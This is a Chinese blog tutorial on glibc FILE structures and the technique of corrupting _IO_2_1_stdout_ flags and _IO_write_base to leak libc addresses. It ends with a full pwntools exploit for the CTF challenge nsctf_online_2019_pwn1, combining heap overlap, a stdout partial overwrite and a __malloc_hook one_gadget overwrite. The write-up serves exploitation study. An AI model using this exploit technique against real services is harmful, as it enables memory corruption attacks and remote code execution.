FILE结构

FILE在linux系统的标准IO库使用来描述文件结构,称之为文件流。这里提及的”流“其实是一种抽象的概念,无论是硬件还是软件其实都没有”流“一说,只是人们为了便于描述数据的流向而创造的名称。比如说当我们要输出磁盘中记录的数据,那么在计算机中首先会将磁盘中的数据加载进内存,那么磁盘–>内存这种流向就被抽象叫做”流“

FILE结构在程序执行fopen函数时会自动进行创建,并分配在堆中。我们常定义一个纸箱FILE结构的指针来接收这个返回值

FILE结构定义在glibc/libio/libio.h中,结构源码如下

在这里插入图片描述

看着很长是吧,没有关系,后面会讲解利用_IO_2_1_stdout泄露libc时主要构造的几个成员变量。回来继续,进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构,大致的链表结构如下图:

在这里插入图片描述

在标准I/O库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。这里插一句个人观点,我认为stderr其实并不算是”流“,因为他的作用是在程序运行时发生异常或中断时的告警,并没有流向的动作,所以这个地方我自己是有疑问的,如果看到这的你了解的话还请在评论区留言指点一下。好的回来,因为会自动打开,所以在初始状态下,_IO_list_all指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于的是libc.so的数据段

_IO_FILE_plus结构

事实上_IO_FILE结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针vtable(虚表)指向了一系列函数指针:

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8。位置为glibc/libio/libioP.h

在这里插入图片描述

这里说明一下vtable(虚表)是个什么东西,我们在学C语言的时候会学到一个叫做虚函数的东西,具有虚函数的类都会有一张vtable(虚表),其中记录了本类中所有虚函数的函数指针,也就是说是个函数指针数组的起始位置,通常虚表在编程中所具有的作用是为了标识父类。需要注意的是虚表中值班韩虚函数的指针,没有函数体,虚函数表既有继承性又有多态性

vtable 是IO_jump_t 类型的指针,IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针。也就是说,如果使用_IO_FILE_plus去定义一个结构体指针的话,我们既可以使用IO_FILE中的结构体成员变量,也能使用IO_jump_t中的函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf后面讲解执行流程章节会用到此处
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

_flags规则

那么通过上述对IO_FILE和_IO_FILE_plus结构的了解,这里我们将深入的讲解一下IO_FILE结构体中的第一个成员变量_flag,这个成员变量在利用_IO_2_1_stdout泄露libc的时候具有至关重要的作用。

先简单介绍一下_flag的规则,_flag的高两位字节是由libc固定的,不同的libc可能存在差异,但是基本上都一样:0xfbad0000。高两位字节其实就是作为一个标识,标志这是一个什么文件。而低两位字节的位数规则决定了程序的执行状态,低两位的规则如下:

在这里插入图片描述

一般在执行流程中会将_flag和定义常量进行按位与运算,并根据与运算的结构进行判断如何执行。后面_IO_2_1_stdout泄露libc章节,我们会一起走一遍输出函数执行流程,在其中就会运用到此处的内容

puts()函数执行流程

由于第二部分的例题中会用到puts()函数,所以这里我们拿puts()函数举例子,其实类似的输出函数比如fwrite函数等执行流程都差不多,区别在于由libc库中运行各个输出函数的.c文件不一样,但是流程都相似,并且都会殊途同归进行输出系统调用

_IO_puts –> _IO_new_file_xsputn

puts()函数在源码中的表现形式为_IO_puts,我们一起来看一下源码位置在:glibc/libio/ioputs.c

在这里插入图片描述

这里可以看到_IO_puts在过程当中调用了一个叫做_IO_sputn函数(_IO_fwrite也会调用这个),_IO_sputn其实是一个宏,它的作用就是调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数

_IO_new_file_xsputn –> _IO_OVERFLOW

_IO_new_file_xsputn函数源码位置在:glibc/libio/fileops.c

由于_IO_new_file_xsputn函数的源码过长,这里就不大篇幅的贴图了。这里简单的描述一下这个函数的执行过程,在关键部分展示代码:首先进入函数之后判断输出缓冲区还有多少空间,这里是由_IO_write_end - _IO_write_base得来的,这两个是FILE结构体中的两个成员变量,分别是输出结束地址和其实输出地址,由于stdout也是FILE结构,所以后面就直接使用成员变量名称来描述了。接下来如果缓冲区有空间,则先把数据载入输出缓冲区并计算目标输出数据是否还有剩余

在这里插入图片描述

经过上述最后一步的判断,如果还有剩余则说明输出缓冲区未建立或者空间已满,那么就需要通过_IO_OVERFLOW函数来建立或清空缓冲区,这个函数主要是实现刷新缓冲区或建立缓冲区的功能。在vtable中为__overflow

_IO_new_file_overflow –> _IO_do_write

_IO_new_file_overflow函数的部分源码如下,位置在:glibc/libio/fileops.c

在这里插入图片描述

上图即是_IO_new_file_overflow函数的部分代码,我们想要利用的就是最后红色框中的_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base),图片上可能会有点看不清,_IO_do_write就是我们需要执行的目标函数,这个函数执行后会调用系统调用write输出输出缓冲区,传入_IO_do_write函数的参数为:stdout结构体、_IO_write_base(输出缓冲区起始地址)和size(_IO_write_end - _IO_write_base计算得来)

如果我们事先在stdout的_IO_write_base的位置部署要输出的起始地址,那么在去利用_IO_do_write函数,即可打印部分内存地址,打印出来的内容就包含我们所需要泄露的libc

如果我们想要利用_IO_do_write函数的话是需要绕过_IO_new_file_overflow函数的检查的,就是上图中蓝色框中的判断条件,我们一步一步的分解_IO_new_file_overflow函数的这两个判断条件:

在这里插入图片描述

首先我们来看第一个判断条件,这里判断_flags的标志位是否包含_IO_NO_WRITES,将_flags和_IO_NO_WRITES进行一个按位与的操作,我们可以向前翻一下flag规则的章节,_flag与_IO_NO_WRITES各自定义的常量为:

1
2
#define _IO_MAGIC 0xFBAD0000 /* 魔数 */
#define _IO_NO_WRITES 8 /* 不可写 */

可以看到_flag魔数的常量为0xfbad0000,_IO_NO_WRITES不可写标志位的常量为8,我们返回上图的程序中,如果进行按位与操作之后的结果为真,则返回为错误。一旦返回的是错误,那么后续我们想要利用的_IO_do_write函数就不会再被执行了,所以我们要将此处的与运算为假:

1
2
3
4
5
#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
_flags & _IO_NO_WRITES = 0
_flags = 0xfbad0000

这样一来判断条件中与运算就会为假,就不会执行判断中的语句了。接下来我们看一下第二个判断条件:

在这里插入图片描述

第二个判断是为了检查输出缓冲区是否为空,如果为空则进行分配空间,并且会初始化指针。一旦进行初始化操作,那么就会覆盖掉我们事先在stdout的_IO_write_base的数据,这样一来我们其实是无法完全掌控的。所以这个判断条件分支尽可能的也不进入,那么我们将if判断条件的值为假即可

1
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

我们拆开来看这个判断条件,由两部分组成,并用或连接。先看后半部分f->_IO_write_base == NULL,这里由于会在_IO_write_base中部署数据,所有后半部分的条件判断一定为假。那么这样一来我们将前半部分也为假,即f->_flags & _IO_CURRENTLY_PUTTING = 1,则整个判断就为假:

1
2
3
4
#define _IO_MAGIC 0xFBAD0000
#define _IO_CURRENTLY_PUTTING 0x800
f->_flags & _IO_CURRENTLY_PUTTING = 1
_flags = 0xfbad0800

_IO_new_do_write –> new_do_write

经过前面的_flags的处理,即可顺利执行到_IO_do_write函数,跟进_IO_do_write函数后将会进入_IO_new_do_write函数,我们来看一下这个函数的源码,位置在glibc/libio/fileops.c

在这里插入图片描述

可以看到_IO_new_do_write并没有做太多的操作,就调用了new_do_write函数,new_do_write函数的参数其实是和传入的参数是一样的,一参stdout结构体,二参输出缓冲区起始地址,三参输出长度

new_do_write –> _IO_SYSWRITE

我们一起来看一下new_do_write函数中的源码,位置在glibc/libio/fileops.c

在这里插入图片描述

可以看到上图即是new_do_write函数中的源码了,红色框中的_IO_SYSWRITE函数即是IO_FILE的最终目标,执行系统调用write。但是同时我们还能看到前面又经过了两次判断,其中第一次if判断与_flags相关,else if中的内容同样需要仔细斟酌一下。由于if和else if是幸福二选一,如果两个判断条件都不满足的话,是不会继续执行到518行的系统调用的

我们先看这个比较复杂的else if判断:

在这里插入图片描述

这条分支我们尽可能的不碰,原因有两点:

第一,其实只要满足判断中的条件fp->_IO_read_end = fp->_IO_write_base即可绕过这里的判断,使之相等的操作并不是没有可能,但是在实际操作中实现的几率比较小。一般在做这种题的时候都会伴随着随机化保护的开启,进行攻击的时候,我们一般采用的都是覆盖末位字节的方式造成偏移,因为即使随机化偏移也会存在0x1000对齐。但是这时候就会遇到一个很尴尬的情况,_IO_read_end和_IO_write_base存放的地址是由末位字节和其他高字节共同组成的,其他高字节由于随机化的缘故无法确定,所以何谈使两个成员变量中的地址相等呢

第二,可以看到else if这条分支中调用了_IO_SYSSEEK系统调用,即lssek函数,如果我们将_IO_read_end的值设置为0,那么_IO_SYSSEEK的二参fp->_IO_write_base - fp->_IO_read_end得出的数值就有可能非常大,这就会导致sleek函数执行不成功导致退出,这是因为载入内存的数据范围可能并不大,但是经过sleek函数修改过大的偏移之后超过了数据范围的边界。一旦Sleek函数执行不成功导致退出,那么就不会到达我们想要的_IO_SYSWRITE系统调用了
所以综上所述,我们无法完全掌控_IO_read_end和_IO_write_base中的数值,导致进入else if的分支后程序执行流程不可控

接下来我们看一下if分支:

在这里插入图片描述

if分支相对来说造成的影响就比较小了,内部仅仅将偏移设置为标准值,不会影响后续的输出流程。并且if判断的条件也很容易满足,我们只需要将fp->_flags & _IO_IS_APPENDING = 1即可,只对_flag修改不会影响其他部分:

1
2
3
4
5
#define _IO_MAGIC 0xFBAD0000
#define _IO_IS_APPENDING 0x1000
fp->_flags & _IO_IS_APPENDING = 1
_flags = 0xfbad1000

这样就可以到达_IO_SYSWRITE系统调用了!

总结

所以通过上述的讲解,我们只需要满足如下几条对_flags的设定,即可利用_IO_2_1_stdout泄露libc

1
2
3
4
#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000

1、设置flags & _IO_NO_WRITES = 0
2、设置_flags & _IO_CURRENTLY_PUTTING = 1
3、设置_flags & _IO_IS_APPENDING = 1

1
flags = 0xFBAD1800

4、设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*
from LibcSearcher import*
context.log_level='debug'

r=remote('node4.buuoj.cn',28981)
libc=ELF('./libc-2.23.so')
'''
r=process('./nsctf_online_2019_pwn1')
libc=ELF('./2.23/libc.so.6')
'''
def add(size,test):
r.sendlineafter('5.exit','1')
r.sendlineafter(':',str(size))
r.sendafter(':',test)

def edit(ind,size,test):
r.sendlineafter('5.exit','4')
r.sendlineafter(':',str(ind))
r.sendlineafter(':',str(size))
r.sendlineafter(':',test)

def dele(ind):
r.sendlineafter('5.exit','2')
r.sendlineafter(':',str(ind))

def exp():
add(0x88,'a')#0
add(0x68,'a')#1
add(0xf8,'a')#2
add(0x68,'s')#3
dele(0)
edit(1,0x68,'a'*0x60+p64(0x90+0x70))
dele(2)
add(0x88,'a')#0
add(0x68,'a')#2 1
add(0xf8,'a')#4
dele(0)
edit(1,0x68,'a'*0x60+p64(0x90+0x70))
dele(4)
dele(2)
add(0x88,'a')#0
dele(0)
#io泄露libc
add(0x88+0x8+0x2,'a'*0x88+p64(0x71)+p16(0x25dd))#0 #0x2620-0x43
#p &_IO_2_1_stdout_
add(0x68,'a'*8+p64(0x161))#2 1
add(0x59,'s'*0x33+p64(0xFBAD1800)+p64(0)*3+p8(0))#4
base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0xdd2600+0xa0d000
print 'base=',hex(base)

realloc=base+libc.sym['realloc']
malloc=base+libc.sym['__malloc_hook']
#og=base+0x4527a#0x4527a 30 0xf03a4 50 0xf1247 70
og=base+0x4526a
r.sendline('2')
r.sendlineafter(':','2')
edit(1,0x8,p64(malloc-0x23))
add(0x68,'s')
add(0x68,'a'*0xb+p64(og)+p64(realloc+8))

#gdb.attach(r)
r.interactive()

while(True):
try:
r=remote('node4.buuoj.cn',28981)
exp()
except:
r.close()

————————————————
版权声明:本文为CSDN博主「hollk」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41202237/article/details/113845320